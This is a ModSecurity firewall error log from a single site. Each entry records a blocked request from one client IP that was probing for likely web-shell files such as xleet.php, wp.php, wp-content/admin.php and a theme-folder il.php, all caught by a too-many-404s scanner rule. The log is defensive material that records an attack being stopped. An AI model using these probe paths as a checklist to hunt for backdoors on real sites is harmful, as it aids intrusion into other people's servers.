[Sat May 23 20:49:20.279129 2026] [:error] [pid 25876:tid 25886] [client 4.213.99.137:1154] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/deepseek_d.php"] [unique_id "ahGiUASpWUCKPezIBJCtfAAAAQg"]
[Sat May 23 20:49:20.584913 2026] [:error] [pid 25876:tid 25889] [client 4.213.99.137:1177] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nw.php"] [unique_id "ahGiUASpWUCKPezIBJCtfgAAAQs"]
[Sat May 23 20:49:20.861504 2026] [:error] [pid 30940:tid 30958] [client 4.213.99.137:1351] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nw.php"] [unique_id "ahGiUJqUP2XZmzp7RDoMkQAAAAk"]
[Sat May 23 20:49:21.131833 2026] [:error] [pid 44326:tid 44364] [client 4.213.99.137:1370] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nw.php"] [unique_id "ahGiUcyrPrcAqE-FOKKfWQAAAck"]
[Sat May 23 20:49:21.420378 2026] [:error] [pid 44325:tid 44333] [client 4.213.99.137:1208] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nw.php"] [unique_id "ahGiUVgUQb4puB_2yV8lHwAAAYU"]
[Sat May 23 20:49:21.762422 2026] [:error] [pid 31039:tid 31042] [client 4.213.99.137:2010] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xleet.php"] [unique_id "ahGiUaIYDYo8WvA5zLJFwgAAAME"]
[Sat May 23 20:49:22.076456 2026] [:error] [pid 30941:tid 30998] [client 4.213.99.137:1176] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xleet.php"] [unique_id "ahGiUnTIgjSDhiZmvlXthAAAAFY"]
[Sat May 23 20:49:22.353393 2026] [:error] [pid 44325:tid 44351] [client 4.213.99.137:1376] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xleet.php"] [unique_id "ahGiUlgUQb4puB_2yV8lIgAAAZc"]
[Sat May 23 20:49:22.650109 2026] [:error] [pid 30941:tid 30984] [client 4.213.99.137:1387] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xleet.php"] [unique_id "ahGiUnTIgjSDhiZmvlXtiQAAAEg"]
[Sat May 23 20:49:22.971738 2026] [:error] [pid 30941:tid 30981] [client 4.213.99.137:1194] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "ahGiUnTIgjSDhiZmvlXtigAAAEU"]
[Sat May 23 20:49:23.263448 2026] [:error] [pid 25876:tid 25888] [client 4.213.99.137:1997] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "ahGiUwSpWUCKPezIBJCtggAAAQo"]
[Sat May 23 20:49:23.540076 2026] [:error] [pid 30941:tid 30976] [client 4.213.99.137:1198] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "ahGiU3TIgjSDhiZmvlXtjAAAAEA"]
[Sat May 23 20:49:23.869218 2026] [:error] [pid 30941:tid 30978] [client 4.213.99.137:2030] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "ahGiU3TIgjSDhiZmvlXtjQAAAEI"]
[Sat May 23 20:49:24.153971 2026] [:error] [pid 30941:tid 30993] [client 4.213.99.137:1196] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/155.php"] [unique_id "ahGiVHTIgjSDhiZmvlXtkAAAAFE"]
[Sat May 23 20:49:24.453168 2026] [:error] [pid 30940:tid 30973] [client 4.213.99.137:2038] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/155.php"] [unique_id "ahGiVJqUP2XZmzp7RDoMkwAAABg"]
[Sat May 23 20:49:24.735007 2026] [:error] [pid 44325:tid 44329] [client 4.213.99.137:1457] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/155.php"] [unique_id "ahGiVFgUQb4puB_2yV8lJQAAAYE"]
[Sat May 23 20:49:25.049574 2026] [:error] [pid 44325:tid 44347] [client 4.213.99.137:1179] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/155.php"] [unique_id "ahGiVVgUQb4puB_2yV8lKAAAAZM"]
[Sat May 23 20:49:25.403862 2026] [:error] [pid 30941:tid 30999] [client 4.213.99.137:2023] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/96i.php"] [unique_id "ahGiVXTIgjSDhiZmvlXtkwAAAFc"]
[Sat May 23 20:49:25.694701 2026] [:error] [pid 30941:tid 30987] [client 4.213.99.137:1361] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/96i.php"] [unique_id "ahGiVXTIgjSDhiZmvlXtlQAAAEs"]
[Sat May 23 20:49:25.993365 2026] [:error] [pid 30941:tid 30995] [client 4.213.99.137:1212] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/96i.php"] [unique_id "ahGiVXTIgjSDhiZmvlXtlwAAAFM"]
[Sat May 23 20:49:26.278156 2026] [:error] [pid 30941:tid 30977] [client 4.213.99.137:1199] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/96i.php"] [unique_id "ahGiVnTIgjSDhiZmvlXtmAAAAEE"]
[Sat May 23 20:49:26.599511 2026] [:error] [pid 44325:tid 44346] [client 4.213.99.137:1384] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "ahGiVlgUQb4puB_2yV8lLQAAAZI"]
[Sat May 23 20:49:26.947442 2026] [:error] [pid 30941:tid 30980] [client 4.213.99.137:2025] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "ahGiVnTIgjSDhiZmvlXtmgAAAEQ"]
[Sat May 23 20:49:27.237135 2026] [:error] [pid 30940:tid 30952] [client 4.213.99.137:1209] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "ahGiV5qUP2XZmzp7RDoMlQAAAAM"]
[Sat May 23 20:49:27.527454 2026] [:error] [pid 30941:tid 30990] [client 4.213.99.137:1159] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "ahGiV3TIgjSDhiZmvlXtnQAAAE4"]
[Sat May 23 20:49:27.807612 2026] [:error] [pid 30940:tid 30955] [client 4.213.99.137:1161] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/php8.php"] [unique_id "ahGiV5qUP2XZmzp7RDoMlgAAAAY"]
[Sat May 23 20:49:28.080534 2026] [:error] [pid 30941:tid 30992] [client 4.213.99.137:1401] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/php8.php"] [unique_id "ahGiWHTIgjSDhiZmvlXtoQAAAFA"]
[Sat May 23 20:49:28.357953 2026] [:error] [pid 44325:tid 44351] [client 4.213.99.137:1360] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/php8.php"] [unique_id "ahGiWFgUQb4puB_2yV8lMAAAAZc"]
[Sat May 23 20:49:28.726283 2026] [:error] [pid 44325:tid 44343] [client 4.213.99.137:1215] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/php8.php"] [unique_id "ahGiWFgUQb4puB_2yV8lMgAAAY8"]
[Sat May 23 20:49:29.151447 2026] [:error] [pid 44326:tid 44376] [client 4.213.99.137:1359] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "ahGiWcyrPrcAqE-FOKKfWgAAAdU"]
[Sat May 23 20:49:29.437231 2026] [:error] [pid 44326:tid 44367] [client 4.213.99.137:2000] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "ahGiWcyrPrcAqE-FOKKfXAAAAcw"]
[Sat May 23 20:49:29.747894 2026] [:error] [pid 44326:tid 44370] [client 4.213.99.137:1356] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "ahGiWcyrPrcAqE-FOKKfXgAAAc8"]
[Sat May 23 20:49:30.059163 2026] [:error] [pid 44326:tid 44378] [client 4.213.99.137:1429] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "ahGiWsyrPrcAqE-FOKKfYAAAAdc"]
[Sat May 23 20:49:30.382302 2026] [:error] [pid 44325:tid 44334] [client 4.213.99.137:1345] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "ahGiWlgUQb4puB_2yV8lNQAAAYY"]
[Sat May 23 20:49:30.689148 2026] [:error] [pid 44325:tid 44342] [client 4.213.99.137:1180] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "ahGiWlgUQb4puB_2yV8lNgAAAY4"]
[Sat May 23 20:49:31.117304 2026] [:error] [pid 30941:tid 30990] [client 4.213.99.137:2040] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "ahGiW3TIgjSDhiZmvlXtpAAAAE4"]
[Sat May 23 20:49:31.506836 2026] [:error] [pid 25876:tid 25893] [client 4.213.99.137:1379] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "ahGiWwSpWUCKPezIBJCthQAAAQ8"]
[Sat May 23 20:49:31.920837 2026] [:error] [pid 30940:tid 30963] [client 4.213.99.137:1158] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/pridmag/il.php"] [unique_id "ahGiW5qUP2XZmzp7RDoMmwAAAA4"]
[Sat May 23 20:49:32.410580 2026] [:error] [pid 44296:tid 44319] [client 4.213.99.137:1385] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/pridmag/il.php"] [unique_id "ahGiXJdrUdFI6ijvMkmL2QAAAVU"]
[Sat May 23 20:49:33.057365 2026] [:error] [pid 30942:tid 31021] [client 4.213.99.137:1445] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/pridmag/il.php"] [unique_id "ahGiXdUosz64YFiBlG11RgAAAJI"]
[Sat May 23 20:49:33.609340 2026] [:error] [pid 30940:tid 30965] [client 4.213.99.137:1449] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/pridmag/il.php"] [unique_id "ahGiXZqUP2XZmzp7RDoMnAAAABA"]
[Sat May 23 20:49:34.077387 2026] [:error] [pid 30940:tid 30953] [client 4.213.99.137:1382] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/info.php"] [unique_id "ahGiXpqUP2XZmzp7RDoMngAAAAQ"]
[Sat May 23 20:49:34.448685 2026] [:error] [pid 44326:tid 44357] [client 4.213.99.137:1399] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/info.php"] [unique_id "ahGiXsyrPrcAqE-FOKKfaQAAAcI"]
[Sat May 23 20:49:34.858658 2026] [:error] [pid 30940:tid 30956] [client 4.213.99.137:1368] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/info.php"] [unique_id "ahGiXpqUP2XZmzp7RDoMnwAAAAc"]
[Sat May 23 20:49:35.420373 2026] [:error] [pid 44326:tid 44368] [client 4.213.99.137:1346] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/info.php"] [unique_id "ahGiX8yrPrcAqE-FOKKfbAAAAc0"]
[Sat May 23 20:49:35.983743 2026] [:error] [pid 30942:tid 31015] [client 4.213.99.137:1364] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a.php"] [unique_id "ahGiX9Uosz64YFiBlG11SgAAAIw"]
[Sat May 23 20:49:36.301950 2026] [:error] [pid 30941:tid 30986] [client 4.213.99.137:1344] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a.php"] [unique_id "ahGiYHTIgjSDhiZmvlXtrAAAAEo"]
[Sat May 23 20:49:36.643032 2026] [:error] [pid 30940:tid 30973] [client 4.213.99.137:1406] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a.php"] [unique_id "ahGiYJqUP2XZmzp7RDoMoAAAABg"]
[Sat May 23 20:49:36.930408 2026] [:error] [pid 44296:tid 44314] [client 4.213.99.137:1397] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a.php"] [unique_id "ahGiYJdrUdFI6ijvMkmL4QAAAVA"]
[Sat May 23 20:49:37.243543 2026] [:error] [pid 31039:tid 31052] [client 4.213.99.137:1433] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "ahGiYaIYDYo8WvA5zLJFxQAAAMs"]
[Sat May 23 20:49:37.653191 2026] [:error] [pid 44296:tid 44299] [client 4.213.99.137:1430] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "ahGiYZdrUdFI6ijvMkmL5AAAAUE"]
[Sat May 23 20:49:38.071893 2026] [:error] [pid 30942:tid 31024] [client 4.213.99.137:1188] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "ahGiYtUosz64YFiBlG11SwAAAJU"]
[Sat May 23 20:49:38.452308 2026] [:error] [pid 25876:tid 25896] [client 4.213.99.137:1450] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "ahGiYgSpWUCKPezIBJCtiQAAARI"]
[Sat May 23 20:49:38.885056 2026] [:error] [pid 30941:tid 31000] [client 4.213.99.137:2002] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/index.php"] [unique_id "ahGiYnTIgjSDhiZmvlXtrwAAAFg"]
[Sat May 23 20:49:39.182746 2026] [:error] [pid 44296:tid 44311] [client 4.213.99.137:1419] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/index.php"] [unique_id "ahGiY5drUdFI6ijvMkmL6AAAAU0"]
[Sat May 23 20:49:39.460462 2026] [:error] [pid 30942:tid 31017] [client 4.213.99.137:2012] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/index.php"] [unique_id "ahGiY9Uosz64YFiBlG11TAAAAI4"]
